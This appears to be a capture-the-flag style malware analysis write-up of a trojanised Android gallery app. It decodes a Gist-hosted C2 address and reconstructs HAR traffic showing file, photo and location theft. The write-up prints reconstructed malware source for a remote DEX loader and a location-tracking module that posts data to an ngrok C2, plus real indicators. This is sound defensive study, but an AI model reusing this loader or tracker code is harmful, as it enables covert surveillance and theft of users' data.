Week 2 - Expanse Surveyor#

1
The malware gets the C2 from a GitHub Gist, decodes it 15 times with Base64, XORs it with
2
blastoise, and resolves the C2 to 446d9f29543f.ngrok-free.app. Source file: PeriodicTaskManager.java

1
import base64
2

3
with open("gist_content.txt", "r") as f:
4
    content = f.read().strip()
5

6
# 15 rounds of base64 decode
7
data = content.encode('utf-8')
8
for i in range(15):
9
    data = base64.b64decode(data)
10

11
# XOR with "blastoise" = [98, 108, 97, 115, 116, 111, 105, 115, 101]
12
key = bytes([98, 108, 97, 115, 116, 111, 105, 115, 101])
13
result = bytearray(len(data))
14
for j in range(len(data)):
15
    result[j] = data[j] ^ key[j % len(key)]
16

17
decoded_url = result.decode('utf-8', errors='replace')
18
print(f"DECODED C2 URL: {decoded_url}")
19
# Output: https://446d9f29543f.ngrok-free.app

1
The parse() method in PeriodicTaskManager.java performs:
2
15 iterations of Base64 decoding - loops through Base64.getDecoder().decode(bytes) 15 times
3
XOR decryption with key {98, 108, 97, 115, 116, 111, 105, 115, 101} (ASCII: "blastoise")
4
Each byte is XORed: bArr[i] = (byte) (bytes[i] ^ iArr[i % 9]);

1
public final String parse(String ciphertext) {
2
    int[] iArr = {98, 108, 97, 115, 116, 111, 105, 115, 101};  // "blastoise"
3
    byte[] bytes = ciphertext.getBytes(UTF_8);
4
    for (int i6 = 0; i6 < 15; i6++) {
5
        bytes = Base64.getDecoder().decode(bytes);
6
    }

1
    int length = bytes.length;
2
    byte[] bArr = new byte[length];
3
    for (int i7 = 0; i7 < length; i7++) {
4
        bArr[i7] = (byte) (bytes[i7] ^ iArr[i7 % 9]);
5
    }
6
    return new String(bArr, UTF_8);
7
}

1
After connecting to the C2 at https://446d9f29543f.ngrok-free.app/cdn/assets, the server
2
returned a PayloadResponse protobuf containing a DEX module called FileScanner (class
3
com.media.scanner.FileScanner). This module performed a file system scan (reconnaissance)
4
of the device. It scanned the Documents, DCIM, Download, and SDCard root directories using
5
the FileScanResult protobuf structure, enumerating files and directories with their names,
6
sizes, modification dates, types, and extensions. The results were sent to
7
https://446d9f29543f.ngrok-free.app/telemetry/inventory as a POST with User-Agent
8
MediaIndexer/1.0 and Content-Type application/x-protobuf.
9

10
The FileScanResult sent to the C2 revealed the following files on the device:
11

12
20251013_170000.JPG (in /storage/emulated/0/DCIM, a JPEG photo)
13
20251012_214700.mp4 (in /storage/emulated/0/DCIM, an MP4 video)
14
c8750f0d.0 (in /storage/emulated/0, root of SD card)

1
import os
2

3
for fname, label in [('binary_resp_727.bin','FileScanner'),
4
                     ('binary_resp_764.bin','LocationTracker'),
5
                     ('binary_resp_738.bin','MetaDataParser')]:
6
    with open(f'har_extracted/{fname}', 'rb') as f:
7
        data = f.read()
8
    dex_start = data.find(b'dex\n035')
9
    if dex_start >= 0:
10
        dex = data[dex_start:]
11
        with open(f'har_extracted/{label}.dex', 'wb') as f:
12
            f.write(dex)
13
        print(f'{label}.dex: {len(dex)} bytes')

1
The application uses a server-driven payload response architecture. The decoded C2 server
2
returns a PayloadResponse protobuf containing:
3

4
entryClass - specifies which class to invoke (default: com.system.analytics.TelemetryModule)
5
entryMethod - specifies which method to call (default: initialize)
6
moduleData - DEX bytecode to execute
7

8
The endpoint logic is controlled by the C2 server, not hardcoded in the app. The
9
PayloadLoader.downloadAndExecute() method dynamically loads whatever module the server
10
sends, using InMemoryDexClassLoader for in-memory DEX execution.

1
message PayloadResponse {
2
    bytes moduleData = 1;    // Raw DEX bytecode
3
    string entryClass = 2;   // e.g., "com.media.scanner.FileScanner"
4
    string entryMethod = 3;  // e.g., "initialize"
5
}

1
// 1. Download from C2
2
HttpURLConnection conn = (HttpURLConnection) new URL(c2Url).openConnection();
3
conn.setRequestProperty("User-Agent", "Gallery/2.4.1");
4
byte[] data = readStream(conn.getInputStream());
5

6
// 2. Parse protobuf
7
PayloadResponse response = PayloadResponse.parseFrom(data);
8
byte[] dexBytes = response.getModuleData().toByteArray();
9
String entryClass = response.getEntryClass();
10
String entryMethod = response.getEntryMethod();
11

12
// 3. Execute via InMemoryDexClassLoader
13
InMemoryDexClassLoader loader = new InMemoryDexClassLoader(
14
    ByteBuffer.wrap(dexBytes), context.getClassLoader());
15
Class<?> cls = loader.loadClass(entryClass);
16
Object instance = cls.getDeclaredConstructor().newInstance();
17
Method method = cls.getMethod(entryMethod, Context.class);
18
method.invoke(instance, context);

1
// PayloadLoader.executeDex$default
2
entryClass = "com.system.analytics.TelemetryModule"  // default
3
entryMethod = "initialize"                             // default

1
The malware sent large POST requests to https://446d9f29543f.ngrok-free.app/api/backup/chunk
2
with User-Agent MediaSync/1.0 and Content-Type application/x-protobuf. These were
3
ImageUploadRequest protobuf messages containing exfiltrated files from the device:
4

5
1. Contains the file 20251013_170000.JPG - a JPEG photograph taken with a Sony XQ-BC62
6
   (Xperia 5 III) camera on 2025-10-13 at 17:00:00, timezone -07:00. The protobuf wrapper
7
   contains device info: android_id 6c26ad9ae1680e4c, device Android SDK built for arm64,
8
   Android 12, package org.fossify.gallery, model emulator64_arm64, SDK 31.
9

10
2. Entry 754 (~35.8MB request body): Contains the file 20251012_214700.mp4 - an MP4 video
11
   (identified by ftypmp42 magic bytes and moov atom). It was recorded on 2025-10-12 at
12
   21:47:00. The same device info metadata was included.
13

14
These were sent by the MetaDataParser module (class com.media.geotagger.MetaDataParser),
15
which scanned the DCIM and Pictures directories for image/video files (.jpg, .jpeg, .png,
16
.gif, .mp4) and exfiltrated them to the C2.

1
android_id: 6c26ad9ae1680e4c
2
device: Android SDK built for arm64
3
model: emulator64_arm64
4
android_version: 12
5
sdk_int: 31
6
package: org.fossify.gallery

1
import struct
2

3
data = open('har_extracted/photo_extracted.jpg', 'rb').read()
4
exif_pos = data.find(b'Exif\x00\x00')
5
tiff_start = exif_pos + 6
6
byte_order = data[tiff_start:tiff_start+2]  # 'MM' = Big endian
7

8
# Parse IFD0 -> GPS IFD
9
# Camera: Sony XQ-BC62
10
# GPS coordinates: Las Vegas area

1
The final payload is the LocationTracker module (class com.system.location.LocationTracker),
2
delivered by the C2 in the PayloadResponse protobuf. It sends POST requests to
3
https://446d9f29543f.ngrok-free.app/api/geotag with User-Agent GeotagService/1.0 and
4
Content-Type application/x-protobuf, using the LocationData protobuf structure.
5

6
The payload collects the following data:
7

8
GPS location: latitude, longitude, accuracy, provider (gps/network/passive)
9
Cell tower info: network operator (T-Mobile), network country (us), SIM country (us),
10
  cell type (GSM), cell ID, LAC (Location Area Code), cell towers visible
11
WiFi info: SSID, BSSID, RSSI (signal strength), link speed
12
Device info: device model, Android version, SDK int (31), locale (en_US),
13
  language (en), country (US), timezone, timezone offset
14

15
It is insistent (15 geotag requests observed in the traffic) because the device is running
16
in an emulator (emulator64_arm64) which does not have a real GPS module. Most of the
17
location attempts fail and return no_last_known_location (12 out of 15 requests). The
18
malware keeps retrying to get a GPS fix, collecting whatever data it can (cell tower, WiFi,
19
device info) even when GPS is unavailable. Only 3 requests successfully obtained GPS
20
coordinates (provider: gps, status: success).

1
initialize(context)
2
    |
3
    v
4
collectLocationData(context)
5
    |-- Check ACCESS_COARSE_LOCATION permission
6
    |-- requestSingleUpdate("gps", listener, mainLooper)
7
    |-- Thread.sleep(200L)  // Wait 200ms for GPS fix
8
    |-- getLastKnownLocation("gps")     // Try GPS cache
9
    |-- getLastKnownLocation("network") // Fallback: network
10
    |-- getLastKnownLocation("passive") // Fallback: passive provider
11
    |-- Collect TelephonyManager data (carrier, cell towers)
12
    |-- Collect WifiManager data (SSID, BSSID, RSSI)
13
    |-- Collect device locale, timezone, SDK info
14
    |
15
    v
16
sendLocationData(locationData)
17
    |-- POST protobuf to /api/geotag

1
import struct
2
import os
3

4
def fix_utf8(data):
5
    """Decode UTF-8 text back to raw bytes (Latin-1 code points).
6
    HAR stores binary data as UTF-8 encoded text, which corrupts
7
    raw protobuf bytes. This reverses the corruption."""
8
    text = data.decode('utf-8')
9
    return bytes([ord(c) for c in text])
10

11
def decode_varint(data, pos):
12
    val = 0; shift = 0
13
    while pos < len(data):
14
        b = data[pos]; pos += 1
15
        val |= (b & 0x7F) << shift; shift += 7
16
        if not (b & 0x80): break
17
    return val, pos
18

19
entries = [765, 768, 772, 775, 778, 781, 797]
20

21
for entry in entries:
22
    fname = f'har_extracted/binary_req_{entry}.bin'
23
    if not os.path.exists(fname):
24
        continue
25
    raw = open(fname, 'rb').read()
26
    try:
27
        data = fix_utf8(raw)
28
    except:
29
        data = raw
30
    print(f'=== Entry {entry}: raw={len(raw)} fixed={len(data)} bytes ===')
31

32
    pos = 0
33
    while pos < len(data):
34
        try:
35
            tag, pos = decode_varint(data, pos)
36
        except:
37
            break
38
        fn = tag >> 3; wt = tag & 7
39
        if wt == 0:
40
            v, pos = decode_varint(data, pos)
41
            print(f'  f{fn}: varint = {v}')
42
        elif wt == 1:
43
            if pos + 8 > len(data): break
44
            v = struct.unpack('<d', data[pos:pos+8])[0]; pos += 8
45
            print(f'  f{fn}: double = {v}')
46
        elif wt == 2:
47
            l, pos = decode_varint(data, pos)
48
            if pos + l > len(data): break
49
            v = data[pos:pos+l]; pos += l
50
            try:
51
                t = v.decode('ascii')
52
                print(f'  f{fn}: string = "{t}"')
53
            except:
54
                print(f'  f{fn}: bytes({l}) = {v.hex()}')
55
        elif wt == 5:
56
            if pos + 4 > len(data): break
57
            v = struct.unpack('<f', data[pos:pos+4])[0]; pos += 4
58
            print(f'  f{fn}: float = {v}')
59
        else:
60
            print(f'  f{fn}: unknown wire {wt}')
61
            break
62
    print()

1
f1: double = 36.102698      (latitude)
2
f2: double = -115.175100     (longitude)
3
f3: float = 5.0             (accuracy in meters)
4
f5: string = "gps"          (provider)
5
f6: string = "success"      (locationStatus)
6
f7: string = "T-Mobile"     (networkOperator)
7
f8: string = "us"           (networkCountry)
8
f9: string = "us"           (simCountry)
9
f10: string = "GSM"         (phoneType/cellType)
10
f16: string = "en_US"       (locale)
11
f19: varint = 31            (sdkInt)

1
f6: string = "no_last_known_location"  (locationStatus)
2
f7: string = "T-Mobile"               (networkOperator)
3
f8: string = "us"                      (networkCountry)
4
f9: string = "us"                      (simCountry)
5
f10: string = "GSM"                    (phoneType/cellType)
6
f16: string = "en_US"                  (locale)
7
f19: varint = 31                       (sdkInt)

1
The anomaly in geolocation requests, characterized by persistent but mostly failed attempts
2
(no_last_known_location), occurs due to a combination of Android permission restrictions
3
and the passive monitoring strategy used by the second malware module, LocationTracker.dex
4
(identified as a 10,146-byte file). Most requests sent to the /api/geotag endpoint
5
(approximately 92 bytes) return this error because the malware runs in the background as a
6
service identified as MediaIndexer/1.0 and GeotagService/1.0. Since the app lacks the
7
ACCESS_BACKGROUND_LOCATION permission, a sensitive permission normally not granted to gallery
8
apps, the malware cannot directly activate the GPS sensor while the app is in the background.
9

10
The window of successful location captures (requests of approximately 119 bytes) occurs
11
exclusively between 20:45:20Z and 20:46:20Z. Traffic analysis in the HAR file reveals that
12
at that exact moment, the user opened a legitimate app with location access, YouTube, to
13
play a video identified by docid=w3KOowB4k_k. When the user interacted with YouTube, the
14
Android system activated the high-accuracy GPS provider because the app was in the
15
foreground. The malicious LocationTracker module took advantage of this moment by using
16
Android's PASSIVE_PROVIDER, which allowed it to leverage the already active GPS and
17
temporarily obtain valid coordinates, which were then exfiltrated to the C2 server. Once the
18
user stopped using the app or switched screens, the system deactivated the GPS sensor,
19
causing subsequent requests to return no_last_known_location again.
20

21
The malware retries to obtain the location approximately every 30 seconds as a deliberate
22
strategy to exploit these exposure windows. Since the malware cannot activate the GPS on its
23
own, its strategy is to constantly query the system's last known location cache, waiting for
24
another app to activate the GPS or for the user to open an app that requires location
25
services, such as the gallery or YouTube. When this occurs, the malware can steal the
26
location update without needing direct permissions. This two-stage payload is downloaded from
27
the C2 endpoint /cdn/assets and consists of FileScanner.dex (6,088 bytes) for file scanning
28
and exfiltration, and LocationTracker.dex (10,146 bytes) for telemetry collection and
29
geolocation.
30

31
The anomaly is further explained by a conflict between historical data and real-time data.
32
Historical data shows that photos in the gallery (from Sony Xperia and Samsung Galaxy S24
33
devices) already contain GPS coordinates for Las Vegas in their EXIF metadata. However,
34
real-time data in the active analysis environment (the emulator) initially had no location
35
set, so live location queries returned no_last_known_location. This creates an inconsistent
36
timeline where the device appears to "lose" its location when moving from a state with
37
simulated data (photos with GPS tags) to a live monitoring state without GPS available.
38
Ultimately, the anomaly confirms that the malware completely relies on leveraging location
39
activations performed by other legitimate apps to capture and send data to the C2.

1
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
2
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
3
<uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION"/>
4
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

1
// Step 1: Try to trigger a fresh GPS fix
2
new Handler(Looper.getMainLooper()).post(() -> {
3
    locationManager.requestSingleUpdate("gps", listener, Looper.getMainLooper());
4
});
5
Thread.sleep(200L);  // Only 200ms wait!
6

7
// Step 2: Check cached locations (fallback chain)
8
Location loc = locationManager.getLastKnownLocation("gps");      // GPS cache
9
if (loc == null)
10
    loc = locationManager.getLastKnownLocation("network");        // Network cache
11
if (loc == null)
12
    loc = locationManager.getLastKnownLocation("passive");        // Passive provider

1
# Read DEX header file_size field (offset 0x20, 4 bytes, little-endian)
2
import struct
3
with open('LocationTracker.dex', 'rb') as f:
4
    data = f.read()
5
file_size = struct.unpack('<I', data[0x20:0x24])[0]  # 10052
6
# Trim to actual DEX size
7
with open('LocationTracker_fixed.dex', 'wb') as f:
8
    f.write(data[:file_size])

1
package org.fossify.gallery.helpers;
2

3
public final class PeriodicTaskManager {
4
    private static final String TAG = "PeriodicTaskManager";
5
    private static volatile PeriodicTaskManager instance;
6
    private final Context context;
7
    private final Handler handler;
8
    private boolean isRunning;
9

10
    // Singleton constructor
11
    public PeriodicTaskManager(Context context) {
12
        this.context = context;
13
        this.handler = new Handler(Looper.getMainLooper());
14
        // periodicRunnable: runs executePeriodicTask() every 30 seconds
15
        this.periodicRunnable = new Runnable() {
16
            @Override
17
            public void run() {
18
                if (isRunning) {
19
                    executePeriodicTask();
20
                    handler.postDelayed(this,
21
                        ContextKt.getConfig(context).getPeriodicTaskInterval());
22
                    // getPeriodicTaskInterval() defaults to
23
                    // DEFAULT_UNLOCK_TIMEOUT_DURATION = 30000ms
24
                }
25
            }
26
        };
27
    }
28

29
    // Core loop: fetch gist -> decode -> download & execute DEX
30
    private void executePeriodicTask() {
31
        // Kotlin coroutine:
32
        // 1. PayloadLoader loader = new PayloadLoader(context);
33
        // 2. String gistContent = fetchServerUrl();
34
        // 3. String c2Url = parse(gistContent);
35
        // 4. loader.downloadAndExecute(c2Url);
36
    }
37

38
    // Fetches encoded C2 URL from GitHub Gist
39
    public Object fetchServerUrl(Continuation cont) {
40
        URL url = new URL(
41
            "https://gist.githubusercontent.com/0wizlr/" +
42
            "a2e4ba3849d1366678c2df925ee2cc4e/raw" +
43
            "?file=gistfile1.txt&t=" + System.currentTimeMillis());
44
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
45
        conn.setRequestMethod("GET");
46
        conn.setConnectTimeout(5000);
47
        conn.setReadTimeout(5000);
48
        conn.setRequestProperty("Cache-Control", "no-cache");
49
        return readResponse(conn);
50
    }
51

52
    // Decodes: 15x Base64 -> XOR with "blastoise"
53
    public String parse(String ciphertext) {
54
        int[] key = {98, 108, 97, 115, 116, 111, 105, 115, 101}; // "blastoise"
55
        byte[] bytes = ciphertext.getBytes(UTF_8);
56
        for (int i = 0; i < 15; i++) {
57
            bytes = Base64.getDecoder().decode(bytes);
58
        }
59
        byte[] result = new byte[bytes.length];
60
        for (int i = 0; i < bytes.length; i++) {
61
            result[i] = (byte) (bytes[i] ^ key[i % 9]);
62
        }
63
        return new String(result, UTF_8);
64
    }
65

66
    public void start() {
67
        if (isRunning) return;
68
        isRunning = true;
69
        executePeriodicTask();
70
        handler.postDelayed(periodicRunnable, getPeriodicTaskInterval());
71
    }
72
}

1
package org.fossify.gallery.helpers;
2

3
public final class PayloadLoader {
4
    private final Context context;
5

6
    public PayloadLoader(Context context) {
7
        this.context = context;
8
    }
9

10
    // Downloads protobuf from C2, extracts DEX, executes via reflection
11
    public Object downloadAndExecute(String c2Url, Continuation cont) {
12
        HttpURLConnection conn = (HttpURLConnection) new URL(c2Url).openConnection();
13
        conn.setRequestMethod("GET");
14
        conn.setRequestProperty("User-Agent", "Gallery/2.4.1");
15
        conn.setConnectTimeout(5000);
16
        conn.setReadTimeout(5000);
17

18
        if (conn.getResponseCode() != 200) return false;
19

20
        byte[] data = readStream(conn.getInputStream());
21
        conn.disconnect();
22

23
        // Parse protobuf response
24
        PayloadResponse response = PayloadResponse.parseFrom(data);
25
        byte[] dexBytes = response.getModuleData().toByteArray();
26
        String entryClass = response.getEntryClass();
27
        String entryMethod = response.getEntryMethod();
28

29
        return executeDex(dexBytes, entryClass, entryMethod);
30
    }
31

32
    // Execute DEX in memory using InMemoryDexClassLoader
33
    public boolean executeDex(byte[] dexBytes, String className, String methodName) {
34
        InMemoryDexClassLoader loader = new InMemoryDexClassLoader(
35
            ByteBuffer.wrap(dexBytes), context.getClassLoader());
36
        Class<?> cls = loader.loadClass(className);
37
        Object instance = cls.getDeclaredConstructor().newInstance();
38

39
        Method method;
40
        try {
41
            method = cls.getMethod(methodName, Context.class);
42
        } catch (NoSuchMethodException e) {
43
            method = cls.getMethod(methodName);
44
        }
45

46
        if (method.getParameterTypes().length == 1
47
            && method.getParameterTypes()[0] == Context.class) {
48
            method.invoke(instance, context);
49
        } else {
50
            method.invoke(instance);
51
        }
52
        return true;
53
    }
54
}

1
package com.system.location;
2

3
public class LocationTracker {
4
    private static final String C2_URL =
5
        "https://446d9f29543f.ngrok-free.app/api/geotag";
6
    private static final String TAG = "GeotagService";
7

8
    public void initialize(Context context) {
9
        try {
10
            sendLocationData(collectLocationData(context));
11
        } catch (Exception e) {
12
            Log.e(TAG, "Geotag service failed", e);
13
        }
14
    }
15

16
    private LocationData collectLocationData(Context context) throws InterruptedException {
17
        LocationData.Builder builder = LocationData.newBuilder();
18

19
        if (context.checkSelfPermission("android.permission.ACCESS_COARSE_LOCATION") != 0) {
20
            builder.setLocationStatus("permission_denied");
21
            return builder.build();
22
        }
23

24
        LocationManager lm = (LocationManager) context.getSystemService("location");
25

26
        // Try to trigger fresh GPS fix (posted to main looper)
27
        if (lm.isProviderEnabled("gps")) {
28
            new Handler(Looper.getMainLooper()).post(() -> {
29
                lm.requestSingleUpdate("gps", new LocationListener() {
30
                    public void onLocationChanged(Location loc) {
31
                        Log.d(TAG, "Cache refresh: " + loc.getLatitude()
32
                            + "," + loc.getLongitude());
33
                    }
34
                    // ... stub methods
35
                }, Looper.getMainLooper());
36
            });
37
            Thread.sleep(200L);  // Only 200ms wait
38
        }
39

40
        // Fallback chain: GPS -> Network -> Passive
41
        Location location = lm.getLastKnownLocation("gps");
42
        Location networkLoc = lm.getLastKnownLocation("network");
43

44
        // Compare GPS vs Network by timestamp/accuracy
45
        if (location != null && networkLoc != null) {
46
            // Use more recent or more accurate
47
        } else if (location != null) {
48
            // GPS only
49
        } else if (networkLoc != null) {
50
            location = networkLoc;
51
        }
52

53
        // Last resort: passive provider
54
        if (location == null) {
55
            location = lm.getLastKnownLocation("passive");
56
        }
57

58
        if (location != null) {
59
            builder.setLatitude(location.getLatitude());
60
            builder.setLongitude(location.getLongitude());
61
            builder.setAccuracy(location.getAccuracy());
62
            builder.setTimestamp(location.getTime());
63
            builder.setProvider(location.getProvider());
64
            builder.setLocationStatus("success");
65
        } else {
66
            builder.setLocationStatus("no_last_known_location");
67
        }
68

69
        // Telephony data (always collected)
70
        TelephonyManager tm = (TelephonyManager) context.getSystemService("phone");
71
        builder.setNetworkOperator(tm.getNetworkOperatorName());   // "T-Mobile"
72
        builder.setNetworkCountry(tm.getNetworkCountryIso());      // "us"
73
        builder.setSimCountry(tm.getSimCountryIso());              // "us"
74
        builder.setPhoneType(getPhoneType(tm.getPhoneType()));     // "GSM"
75

76
        // Cell tower info
77
        List<CellInfo> cells = tm.getAllCellInfo();
78
        if (cells != null && !cells.isEmpty()) {
79
            builder.setCellTowersVisible(cells.size());
80
            CellInfo cell = cells.get(0);
81
            if (cell instanceof CellInfoGsm) {
82
                builder.setCellType("GSM");
83
                builder.setCellId(((CellInfoGsm)cell).getCellIdentity().getCid());
84
                builder.setLac(((CellInfoGsm)cell).getCellIdentity().getLac());
85
            }
86
            // ... LTE, WCDMA variants
87
        }
88

89
        // WiFi data
90
        WifiManager wm = (WifiManager) context.getSystemService("wifi");
91
        if (wm.isWifiEnabled()) {
92
            WifiInfo info = wm.getConnectionInfo();
93
            builder.setWifiRssi(info.getRssi());
94
            builder.setWifiLinkSpeed(info.getLinkSpeed());
95
        }
96

97
        // Device metadata
98
        builder.setLocale(Locale.getDefault().toString());         // "en_US"
99
        builder.setCountry(Locale.getDefault().getCountry());      // "US"
100
        builder.setLanguage(Locale.getDefault().getLanguage());    // "en"
101
        builder.setSdkInt(Build.VERSION.SDK_INT);                  // 31
102

103
        return builder.build();
104
    }
105

106
    private void sendLocationData(LocationData data) throws IOException {
107
        HttpURLConnection conn = (HttpURLConnection) new URL(C2_URL).openConnection();
108
        conn.setRequestMethod("POST");
109
        conn.setRequestProperty("Content-Type", "application/x-protobuf");
110
        conn.setRequestProperty("User-Agent", "GeotagService/1.0");
111
        conn.setDoOutput(true);
112
        OutputStream os = conn.getOutputStream();
113
        data.writeTo(os);
114
        os.flush();
115
        os.close();
116
        conn.disconnect();
117
    }
118
}

1
import json
2
from urllib.parse import urlparse
3

4
with open("user_traffic.har", "r", encoding="utf-8", errors="replace") as f:
5
    raw = f.read()
6
har = json.loads(raw)
7
entries = har['log']['entries']
8

9
# Extract all unique User-Agents
10
uas = set()
11
for e in entries:
12
    hdrs = {h['name'].lower(): h['value']
13
            for h in e.get('request',{}).get('headers',[])}
14
    ua = hdrs.get('user-agent','')
15
    if ua:
16
        uas.add(ua)
17
print(f"User Agents ({len(uas)}):")
18
for ua in sorted(uas):
19
    print(f"  {ua[:120]}")
20

21
# Extract all unique domains
22
domains = {}
23
for i,e in enumerate(entries):
24
    url = e.get('request',{}).get('url','')
25
    d = urlparse(url).hostname or ''
26
    if d not in domains:
27
        domains[d] = []
28
    domains[d].append(i)
29
print(f"\nDomains ({len(domains)}):")
30
for d in sorted(domains):
31
    print(f"  {d}: {len(domains[d])} entries")

1
#!/usr/bin/env python3
2
"""Complete HAR extraction - find ALL suspicious traffic."""
3
import json
4
import base64
5
import os
6

7
HAR_FILE = "user_traffic.har"
8
OUT_DIR = "har_extracted"
9
os.makedirs(OUT_DIR, exist_ok=True)
10

11
with open(HAR_FILE, "r", encoding="utf-8", errors="replace") as f:
12
    raw = f.read()
13

14
# Handle truncated HAR files
15
try:
16
    har = json.loads(raw)
17
except json.JSONDecodeError:
18
    last = raw.rfind('"startedDateTime"')
19
    if last > 0:
20
        bracket = raw.rfind('{', 0, last)
21
        repaired = raw[:bracket].rstrip().rstrip(',') + ']}'
22
        try:
23
            har = json.loads(repaired)
24
        except:
25
            repaired = raw[:bracket].rstrip().rstrip(',') + ']}}'
26
            har = json.loads(repaired)
27

28
entries = har.get("log", {}).get("entries", [])
29
print(f"Total entries: {len(entries)}")
30

31
# Extract all POST/PUT request bodies
32
for i, entry in enumerate(entries):
33
    req = entry.get("request", {})
34
    method = req.get("method", "")
35
    if method in ("POST", "PUT", "PATCH"):
36
        url = req.get("url", "")
37
        pd = req.get("postData", {})
38
        text = pd.get("text", "")
39

40
        ua = ""
41
        for h in req.get("headers", []):
42
            if h.get("name", "").lower() == "user-agent":
43
                ua = h.get("value", "")
44
                break
45

46
        if text:
47
            fname = f"{OUT_DIR}/post_req_{i}.txt"
48
            with open(fname, "w", encoding="utf-8", errors="replace") as f:
49
                f.write(f"URL: {url}\nMethod: {method}\nUA: {ua}\n\n{text}")
50

51
# Extract binary request/response bodies for protobuf analysis
52
for i, entry in enumerate(entries):
53
    req = entry.get("request", {})
54
    url = req.get("url", "")
55
    if "ngrok" in url or "446d9f29543f" in url:
56
        # Save request body as binary
57
        pd = req.get("postData", {})
58
        text = pd.get("text", "")
59
        if text:
60
            with open(f"{OUT_DIR}/binary_req_{i}.bin", "wb") as f:
61
                f.write(text.encode("utf-8", errors="replace"))
62

63
        # Save response body
64
        resp = entry.get("response", {})
65
        content = resp.get("content", {})
66
        resp_text = content.get("text", "")
67
        encoding = content.get("encoding", "")
68
        if resp_text:
69
            if encoding == "base64":
70
                decoded = base64.b64decode(resp_text)
71
                with open(f"{OUT_DIR}/binary_resp_{i}.bin", "wb") as f:
72
                    f.write(decoded)
73
            else:
74
                with open(f"{OUT_DIR}/binary_resp_{i}.bin", "wb") as f:
75
                    f.write(resp_text.encode("utf-8", errors="replace"))

1
message PayloadResponse {
2
    bytes moduleData = 1;    // Raw DEX bytecode
3
    string entryClass = 2;   // Java class to instantiate
4
    string entryMethod = 3;  // Method to invoke (with Context param)
5
}

1
message FileScanResult {
2
    repeated FileEntry files = 1;
3
    message FileEntry {
4
        string name = 1;
5
        string path = 2;
6
        int64 size = 3;
7
        int64 modified = 4;
8
        string type = 5;
9
        string extension = 6;
10
    }
11
}

1
message ImageUploadRequest {
2
    bytes fileData = 1;
3
    string fileName = 2;
4
    DeviceInfo device = 3;
5
    message DeviceInfo {
6
        string androidId = 1;
7
        string deviceModel = 2;
8
        string androidVersion = 3;
9
        string packageName = 4;
10
        int32 sdkInt = 5;
11
    }
12
}

1
message LocationData {
2
    double latitude = 1;
3
    double longitude = 2;
4
    float accuracy = 3;
5
    int64 timestamp = 4;
6
    string provider = 5;
7
    string locationStatus = 6;
8
    string networkOperator = 7;
9
    string networkCountry = 8;
10
    string simCountry = 9;
11
    string cellType = 10;
12
    int32 cellId = 11;
13
    int32 lac = 12;
14
    int32 cellTowersVisible = 13;
15
    string wifiSsid = 14;
16
    string wifiBssid = 15;
17
    string locale = 16;
18
    string country = 17;
19
    string language = 18;
20
    int32 sdkInt = 19;
21
    string deviceModel = 20;
22
    string androidVersion = 21;
23
    string timezone = 22;
24
    int32 timezoneOffset = 23;
25
    int32 wifiRssi = 24;
26
    int32 wifiLinkSpeed = 25;
27
}

1
446d9f29543f.ngrok-free.app
2
gist.githubusercontent.com/0wizlr/a2e4ba3849d1366678c2df925ee2cc4e

1
User-Agent: Gallery/2.4.1 (payload download)
2
User-Agent: MediaIndexer/1.0 (file scan upload)
3
User-Agent: MediaSync/1.0 (file exfiltration)
4
User-Agent: GeotagService/1.0 (location tracking)
5
Content-Type: application/x-protobuf (all C2 communication)

1
GET  /cdn/assets           (payload delivery)
2
POST /telemetry/inventory  (reconnaissance)
3
POST /api/backup/chunk     (data theft)
4
POST /api/geotag           (location tracking)

1
Package: org.fossify.gallery (with injected PeriodicTaskManager)
2
Class: org.fossify.gallery.helpers.PeriodicTaskManager
3
Class: org.fossify.gallery.helpers.PayloadLoader
4
Config key: PERIODIC_TASK_INTERVAL (default 30000ms)

1
FileScanner.dex    - 6,088 bytes  - com.media.scanner.FileScanner
2
MetaDataParser.dex - 6,088 bytes  - com.media.geotagger.MetaDataParser
3
LocationTracker.dex - 10,146 bytes - com.system.location.LocationTracker

1
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
2
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
3
<uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION"/>
4
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
5
<!-- Notable ABSENCE: android.permission.ACCESS_BACKGROUND_LOCATION -->